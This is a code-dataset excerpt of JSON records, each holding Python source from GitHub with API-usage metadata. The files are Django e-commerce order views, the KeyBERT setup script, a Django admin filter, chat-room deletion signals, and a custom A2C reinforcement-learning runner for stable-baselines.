"superdesk.resource.not_analyzed", "line_number": 300, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 306, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 312, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 319, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 325, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 330, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 339, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 340, "usage_type": "name"}, {"api_name": "superdesk.resource.text_with_keyword", "line_number": 341, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 342, "usage_type": "name"}, {"api_name": "superdesk.resource.not_enabled", "line_number": 343, "usage_type": "name"}, {"api_name": "superdesk.resource.text_with_keyword", "line_number": 344, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 348, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 358, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 362, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 363, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 364, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 365, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 366, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 367, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 383, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 388, "usage_type": "name"}, {"api_name": "superdesk.resource.not_enabled", "line_number": 413, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 446, "usage_type": "name"}, {"api_name": "superdesk.resource.not_enabled", "line_number": 455, "usage_type": "name"}, {"api_name": "superdesk.resource.not_enabled", "line_number": 461, "usage_type": "name"}, {"api_name": "superdesk.resource.not_indexed", "line_number": 463, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 478, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 479, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 502, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 503, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 504, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 505, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 506, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 507, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 520, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 521, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 522, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 523, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 524, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 525, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 526, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 527, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 528, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 529, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 530, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 531, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 532, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 534, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 538, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 539, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 540, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 541, "usage_type": "call"}, {"api_name": "packages.PACKAGE", "line_number": 549, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 549, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 549, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 552, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 552, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 553, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 553, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 560, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 560, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 562, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 562, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 564, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 564, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 573, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 579, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 580, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 581, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 582, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 583, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 584, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 585, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 586, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 590, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 591, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 591, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 593, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 593, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 595, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 597, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 597, "usage_type": "name"}, {"api_name": "superdesk.resource.not_indexed", "line_number": 601, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 618, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 619, "usage_type": "name"}, {"api_name": "superdesk.resource.not_enabled", "line_number": 628, "usage_type": "name"}, {"api_name": "superdesk.resource.not_enabled", "line_number": 632, "usage_type": "name"}, {"api_name": "superdesk.resource.not_dynamic", "line_number": 645, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 654, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 654, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 659, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 662, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 666, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 670, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 673, "usage_type": "name"}, {"api_name": "superdesk.resource.not_indexed", "line_number": 676, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 677, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 677, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 682, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 683, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 684, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 687, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 694, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 730, "usage_type": "name"}, {"api_name": "superdesk.attachments.is_attachment_public", "line_number": 753, "usage_type": "call"}, {"api_name": "superdesk.utils.SuperdeskBaseEnum", "line_number": 758, "usage_type": "name"}]}
{"seq_id": "12558027860", "text": "from datetime import datetime\n\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom df_cart.models import CartInfo\nfrom df_goods.models import GoodInfo\nfrom df_order.models import OrderInfo,OrderDetailInfo\nfrom df_user.models import UserInfo\n\n\ndef pay(request):\n    return render(request, 'df_order/pay.html')\n\n\ndef place_order(request):\n    # orderi = request.POST.get('orderid')\n    # userid = request.session['user_id']\n    # orderid = OrderInfo.objects.filter(user_id=userid)\n    #先从参数里面获取所有的id\n    orderids = request.GET.getlist('orderid')\n    #这里需要根据前端传入的id来查，不能根据用户id\n    orders = []\n    for oid in orderids:\n        orders.append(CartInfo.objects.get(id=oid))\n    user_id = request.session.get('user_id')\n    user = UserInfo.objects.get(id=user_id)\n\n    # orderid = OrderInfo.objects.filter(id=orderid)\n    return render(request, 'df_order/place_order.html',{'orderlist':orders,'user':user})\n\n\ndef site(request):\n    # uname = request.POST.get('ushou')\n    # uaddress = request.POST.get('uadress')\n    # uyoubian = request.POST.get('uyoubian')\n    # uphone = request.POST.get('uphone')\n    # userinfo = UserInfo()\n    # userinfo.ushou = uname\n    return render(request,'df_user/user_center_site.html')\n\n\ndef addOrder(request):#先获取下单的所有购物车的id\n    orderids = request.session.get('orderids')\n    #构建一个订单对象\n    order = OrderInfo()\n    #查询订单最大的id\n    oOder = OrderInfo.objects.all().order_by('oid')[0:1]\n    if len(oOder) == 0:\n        order.oid = 1\n    else:\n        print(int(oOder[0].oid))\n        order.oid = int(oOder[0].oid)+1\n    #增加订单时间\n    order.odate = datetime.now()\n    #是否付款\n    order.oIsPay =0\n    order.ototal=request.POST.get('totle')\n    order.oaddress= request.POST.get('address')\n    order.user_id= request.session.get('user_id')\n    order.zhifu= request.POST.get('zhifu')\n    order.save()\n    #增加订单明细的商品洗信息\n    for oid in orderids:#获取购物车（会有多条数据）\n        cartInfo = CartInfo.objects.get(id=oid)\n        good = GoodInfo.objects.get(id=cartInfo.goods_id)\n        #如果返回2表示库存不够\n        if cartInfo.count>good.gkucun:\n            return JsonResponse({'status':2})\n\n        #定义一个明细订单\n        detail = OrderDetailInfo()\n        detail.price = good.gprice\n        detail.count = cartInfo.count\n        detail.goods_id = good.id\n        detail.price = order.oid\n        detail.save()\n        #如果返回1表示增加成功\n    return JsonResponse({'status':1})", "repo_name": "liuzhongchuang/demo", "sub_path": "shop/df_order/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "df_cart.models.CartInfo.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "df_cart.models.CartInfo.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "df_cart.models.CartInfo", "line_number": 26, "usage_type": "name"}, {"api_name": "df_user.models.UserInfo.objects.get", "line_number": 28, "usage_type": "call"}, {"api_name": "df_user.models.UserInfo.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "df_user.models.UserInfo", "line_number": 28, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}, {"api_name": "df_order.models.OrderInfo", "line_number": 47, "usage_type": "call"}, {"api_name": "df_order.models.OrderInfo.objects.all", "line_number": 49, "usage_type": "call"}, {"api_name": "df_order.models.OrderInfo.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "df_order.models.OrderInfo", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "name"}, {"api_name": "df_cart.models.CartInfo.objects.get", "line_number": 66, "usage_type": "call"}, {"api_name": "df_cart.models.CartInfo.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "df_cart.models.CartInfo", "line_number": 66, "usage_type": "name"}, {"api_name": "df_goods.models.GoodInfo.objects.get", "line_number": 67, "usage_type": "call"}, {"api_name": "df_goods.models.GoodInfo.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "df_goods.models.GoodInfo", "line_number": 67, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "df_order.models.OrderDetailInfo", "line_number": 73, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 80, "usage_type": "call"}]}
{"seq_id": "42739036998", "text": "from setuptools import setup, find_packages\n\ntest_packages = [\n    \"pytest>=5.4.3\",\n    \"pytest-cov>=2.6.1\",\n    \"flake8>=3.6.0\",\n    \"pre-commit>=2.2.0\",\n    \"black>=19.3b0\",\n]\n\nbase_packages = [\n    \"sentence-transformers>=0.3.8\",\n    \"scikit-learn>=0.22.2\",\n    \"numpy>=1.18.5\",\n    \"rich>=10.4.0\",\n]\n\ndocs_packages = [\n    \"mkdocs>=1.1\",\n    \"mkdocs-material>=4.6.3\",\n    \"mkdocstrings>=0.8.0\",\n]\n\nflair_packages = [\"transformers>=3.5.1\", \"torch>=1.4.0\", \"flair>=0.7\"]\n\nspacy_packages = [\"spacy>=3.0.1\"]\n\nuse_packages = [\"tensorflow\", \"tensorflow_hub\", \"tensorflow_text\"]\n\ngensim_packages = [\"gensim>=3.6.0\"]\n\ndev_packages = docs_packages + test_packages\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n    long_description = fh.read()\n\nsetup(\n    name=\"keybert\",\n    packages=find_packages(exclude=[\"notebooks\", \"docs\"]),\n    version=\"0.8.3\",\n    author=\"Maarten Grootendorst\",\n    author_email=\"maartengrootendorst@gmail.com\",\n    description=\"KeyBERT performs keyword extraction with state-of-the-art transformer models.\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/MaartenGr/keyBERT\",\n    keywords=\"nlp bert keyword extraction embeddings\",\n    classifiers=[\n        \"Programming Language :: Python\",\n        \"Intended Audience :: Science/Research\",\n        \"Intended Audience :: Developers\",\n        \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Topic :: Scientific/Engineering\",\n        \"Operating System :: Microsoft :: Windows\",\n        \"Operating System :: POSIX\",\n        \"Operating System :: Unix\",\n        \"Operating System :: MacOS\",\n        \"Programming Language :: Python :: 3.7\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Programming Language :: Python :: 3.8\",\n    ],\n    install_requires=base_packages,\n    extras_require={\n        \"test\": test_packages,\n        \"docs\": docs_packages,\n        \"dev\": dev_packages,\n        \"flair\": flair_packages,\n        \"spacy\": spacy_packages,\n        \"use\": use_packages,\n        \"gensim\": gensim_packages,\n    },\n    python_requires=\">=3.6\",\n)\n", "repo_name": "MaartenGr/KeyBERT", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2902, "dataset": "github-code", "pt": "81", "api": [{"api_name": "setuptools.setup", "line_number": 37, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "75258854011", "text": "from django.contrib import admin\nfrom django.utils.translation import gettext_lazy as _\n\nclass TmpFilter(admin.SimpleListFilter):\n    title = _('Выбрать tmp')\n    parameter_name = 'choice_tmp'\n    def lookups(self, request, model_admin):\n        return (\n            ('A', _('A')),\n            ('B', _('B')),\n        )\n    def queryset(self, request, queryset):\n        if not self.value():\n            return queryset\n        return queryset.filter(name__icontains=self.value())", "repo_name": "DephPhascow/full_stack", "sub_path": "main/filters/tmp_filter.py", "file_name": "tmp_filter.py", "file_ext": "py", "file_size_in_byte": 486, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.admin.SimpleListFilter", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 5, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 9, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "10748940816", "text": "from django.db.models.signals import post_delete\nfrom django.dispatch import receiver\n\nfrom chat.models import ChatRoom\nfrom .models import Membership\nfrom django.utils import timezone\nfrom django.dispatch import Signal\n\n\n# Chat Room\n@receiver(post_delete, sender=Membership)\ndef delete_membership(sender, instance: Membership, **kwargs):\n    # set the value of 'date_lefted' in the Membership relation\n    leave_date = timezone.now()\n    instance.date_lefted = leave_date\n    instance.save()\n\n\n@receiver(post_delete, sender=Membership)\ndef delete_chatroom(sender, instance: Membership, **kwargs):\n    # if no member is left in the chat room, delete it\n    if not Membership.objects.filter(\n        chatroom_id=instance.chatroom_id,\n        date_lefted__isnull=True\n    ):\n        # disable signals to avoid recursion\n        Signal.disconnect(post_delete, receiver=delete_chatroom, sender=Membership)\n        Signal.disconnect(post_delete, receiver=delete_membership, sender=Membership)\n        ChatRoom.objects.get(pk=instance.chatroom_id).delete()\n\n\n", "repo_name": "dfm88/chat_webapp_DRF", "sub_path": "jbl_chat/chat/signals.py", "file_name": "signals.py", "file_ext": "py", "file_size_in_byte": 1053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "models.Membership", "line_number": 12, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 14, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 14, "usage_type": "name"}, {"api_name": "django.dispatch.receiver", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_delete", "line_number": 11, "usage_type": "argument"}, {"api_name": "models.Membership", "line_number": 11, "usage_type": "name"}, {"api_name": "models.Membership", "line_number": 20, "usage_type": "name"}, {"api_name": "models.Membership.objects.filter", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Membership.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.Membership", "line_number": 22, "usage_type": "name"}, {"api_name": "django.dispatch.Signal.disconnect", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_delete", "line_number": 27, "usage_type": "argument"}, {"api_name": "django.dispatch.Signal", "line_number": 27, "usage_type": "name"}, {"api_name": "models.Membership", "line_number": 27, "usage_type": "name"}, {"api_name": "django.dispatch.Signal.disconnect", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_delete", "line_number": 28, "usage_type": "argument"}, {"api_name": "django.dispatch.Signal", "line_number": 28, "usage_type": "name"}, {"api_name": "models.Membership", "line_number": 28, "usage_type": "name"}, {"api_name": "chat.models.ChatRoom.objects.get", "line_number": 29, "usage_type": "call"}, {"api_name": "chat.models.ChatRoom.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "chat.models.ChatRoom", "line_number": 29, "usage_type": "name"}, {"api_name": "django.dispatch.receiver", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_delete", "line_number": 19, "usage_type": "argument"}, {"api_name": "models.Membership", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "12612645618", "text": "import time\nfrom stable_baselines.a2c.utils import Scheduler, total_episode_reward_logger\nfrom stable_baselines.common import explained_variance, SetVerbosity, TensorboardWriter\nfrom stable_baselines import logger\nfrom stable_baselines import A2C\nfrom stable_baselines.a2c.a2c import A2CRunner\nimport numpy as np\nimport gym\nimport math\nfrom stable_baselines.a2c.utils import discount_with_dones\n\n\ndef custom_discount_with_dones(rewards, dones, gamma, timesteps, future_discounted_reward = 0):\n    \"\"\"\n    Apply the discount value to the reward, where the environment is not done\n\n    :param rewards: ([float]) The rewards\n    :param dones: ([bool]) Whether an environment is done or not\n    :param gamma: (float) The discount value\n    :param timesteps: ([float]) Time values for each observation, this should be one more than the rewards as it includes both the starting state and the final state.\n    :return: ([float]) The discounted rewards\n    \"\"\"\n    discounted = []\n    ret = future_discounted_reward  # Return: discounted reward\n    last_time = timesteps[-1]\n    for reward, done, timestep in zip(rewards[::-1], dones[::-1], timesteps[-2::-1]):\n        g = math.pow(gamma, last_time - timestep)\n        last_time = timestep\n        ret = reward + g * ret * (1. - done)  # fixed off by one bug\n        discounted.append(ret)\n    return discounted[::-1]\n\n\nclass CustomA2C(A2C):\n    def learn(self, total_timesteps, callback=None, seed=None, log_interval=100, tb_log_name=\"A2C\"):\n        with SetVerbosity(self.verbose), TensorboardWriter(self.graph, self.tensorboard_log, tb_log_name) as writer:\n            self._setup_learn(seed)\n\n            self.learning_rate_schedule = Scheduler(initial_value=self.learning_rate, n_values=total_timesteps,\n                                                    schedule=self.lr_schedule)\n\n            runner = CustomA2CRunner(self.env, self, n_steps=self.n_steps, gamma=self.gamma)\n            self.episode_reward = np.zeros((self.n_envs,))\n\n            t_start = time.time()\n            for update in range(1, total_timesteps // self.n_batch + 1):\n                # true_reward is the reward without discount\n                obs, states, rewards, masks, actions, values, true_reward = runner.run()\n                _, value_loss, policy_entropy = self._train_step(obs, states, rewards, masks, actions, values, update,\n                                                                 writer)\n                n_seconds = time.time() - t_start\n                fps = int((update * self.n_batch) / n_seconds)\n\n                if writer is not None:\n                    self.episode_reward = total_episode_reward_logger(self.episode_reward,\n                                                                      true_reward.reshape((self.n_envs, self.n_steps)),\n                                                                      masks.reshape((self.n_envs, self.n_steps)),\n                                                                      writer, update * (self.n_batch + 1))\n\n                if callback is not None:\n                    # Only stop training if return value is False, not when it is None. This is for backwards\n                    # compatibility with callbacks that have no return statement.\n                    if callback(locals(), globals()) is False:\n                        break\n\n                if self.verbose >= 1 and (update % log_interval == 0 or update == 1):\n                    explained_var = explained_variance(values, rewards)\n                    logger.record_tabular(\"nupdates\", update)\n                    logger.record_tabular(\"total_timesteps\", update * self.n_batch)\n                    logger.record_tabular(\"fps\", fps)\n                    logger.record_tabular(\"policy_entropy\", float(policy_entropy))\n                    logger.record_tabular(\"value_loss\", float(value_loss))\n                    logger.record_tabular(\"explained_variance\", float(explained_var))\n                    logger.dump_tabular()\n\n        return self\n\n\nclass CustomA2CRunner(A2CRunner):\n    def run(self):\n        \"\"\"\n        Run a learning step of the model\n\n        :return: ([float], [float], [float], [bool], [float], [float])\n                 observations, states, rewards, masks, actions, values\n        \"\"\"\n        mb_obs, mb_rewards, mb_actions, mb_values, mb_dones = [], [], [], [], []\n        mb_states = self.states\n        for _ in range(self.n_steps):\n            actions, values, states, _ = self.model.step(self.obs, self.states, self.dones)\n            mb_obs.append(np.copy(self.obs))\n            mb_actions.append(actions)\n            mb_values.append(values)\n            mb_dones.append(self.dones)\n            clipped_actions = actions\n            # Clip the actions to avoid out of bound error\n            if isinstance(self.env.action_space, gym.spaces.Box):\n                clipped_actions = np.clip(actions, self.env.action_space.low, self.env.action_space.high)\n            obs, rewards, dones, _ = self.env.step(clipped_actions)\n            self.states = states\n            self.dones = dones\n            self.obs = obs\n            mb_rewards.append(rewards)\n        mb_dones.append(self.dones)\n        # batch of steps to batch of rollouts\n        mb_obs2 = np.asarray(mb_obs, dtype=self.obs.dtype).swapaxes(1, 0)\n        mb_obs = mb_obs2.reshape(self.batch_ob_shape)\n        mb_rewards = np.asarray(mb_rewards, dtype=np.float32).swapaxes(0, 1)\n        mb_actions = np.asarray(mb_actions, dtype=np.int32).swapaxes(0, 1)\n        mb_values = np.asarray(mb_values, dtype=np.float32).swapaxes(0, 1)\n        mb_dones = np.asarray(mb_dones, dtype=np.bool).swapaxes(0, 1)\n        mb_masks = mb_dones[:, :-1]\n        mb_dones = mb_dones[:, 1:]\n        true_rewards = np.copy(mb_rewards)\n        last_values = self.model.value(self.obs, self.states, self.dones).tolist()\n\n        # Note: Assume the first element in the observation is the timestep\n        # This differs from the normal A2CRunner\n        timesteps = mb_obs2[:,:,0]\n        # Add in the time for the final observation\n        timesteps = np.concatenate([timesteps, self.obs[:,0].reshape(timesteps.shape[0], 1)], axis=1)\n\n        # discount/bootstrap off value fn\n        for n, (rewards, dones, value, env_timesteps) in enumerate(zip(mb_rewards, mb_dones, last_values, timesteps)):\n            env_timesteps = env_timesteps.tolist()\n            # timesteps = [i for i in range(len(rewards)+1)]\n\n            rewards = rewards.tolist()\n            dones = dones.tolist()\n\n            assert len(dones) == len(rewards)\n            assert len(env_timesteps) == len(rewards) + 1\n\n            discounted_rewards = custom_discount_with_dones(rewards, dones, self.gamma, env_timesteps, future_discounted_reward=value)\n            mb_rewards[n] = discounted_rewards\n\n        # convert from [n_env, n_steps, ...] to [n_steps * n_env, ...]\n        mb_rewards = mb_rewards.reshape(-1, *mb_rewards.shape[2:])\n        mb_actions = mb_actions.reshape(-1, *mb_actions.shape[2:])\n        mb_values = mb_values.reshape(-1, *mb_values.shape[2:])\n        mb_masks = mb_masks.reshape(-1, *mb_masks.shape[2:])\n        true_rewards = true_rewards.reshape(-1, *true_rewards.shape[2:])\n        return mb_obs, mb_states, mb_rewards, mb_masks, mb_actions, mb_values, true_rewards\n", "repo_name": "HalfVoxel/sc2-voxelbot", "sub_path": "bot/python/custom_a2c.py", "file_name": "custom_a2c.py", "file_ext": "py", "file_size_in_byte": 7297, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "math.pow", "line_number": 27, "usage_type": "call"}, {"api_name": "stable_baselines.A2C", "line_number": 34, "usage_type": "name"}, {"api_name": "stable_baselines.common.SetVerbosity", "line_number": 36, "usage_type": "call"}, {"api_name": "stable_baselines.common.TensorboardWriter", "line_number": 36, "usage_type": "call"}, {"api_name": "stable_baselines.a2c.utils.Scheduler", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 45, "usage_type": "call"}, {"api_name": "time.time", "line_number": 51, "usage_type": "call"}, {"api_name": "stable_baselines.a2c.utils.total_episode_reward_logger", "line_number": 55, "usage_type": "call"}, {"api_name": "stable_baselines.common.explained_variance", "line_number": 67, "usage_type": "call"}, {"api_name": "stable_baselines.logger.record_tabular", "line_number": 68, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 68, "usage_type": "name"}, {"api_name": "stable_baselines.logger.record_tabular", "line_number": 69, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 69, "usage_type": "name"}, {"api_name": "stable_baselines.logger.record_tabular", "line_number": 70, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 70, "usage_type": "name"}, {"api_name": "stable_baselines.logger.record_tabular", "line_number": 71, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 71, "usage_type": "name"}, {"api_name": "stable_baselines.logger.record_tabular", "line_number": 72, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 72, "usage_type": "name"}, {"api_name": "stable_baselines.logger.record_tabular", "line_number": 73, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 73, "usage_type": "name"}, {"api_name": "stable_baselines.logger.dump_tabular", "line_number": 74, "usage_type": "call"}, {"api_name": "stable_baselines.logger", "line_number": 74, "usage_type": "name"}, {"api_name": "stable_baselines.a2c.a2c.A2CRunner", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 91, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.bool", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 121, "usage_type": "call"}]}
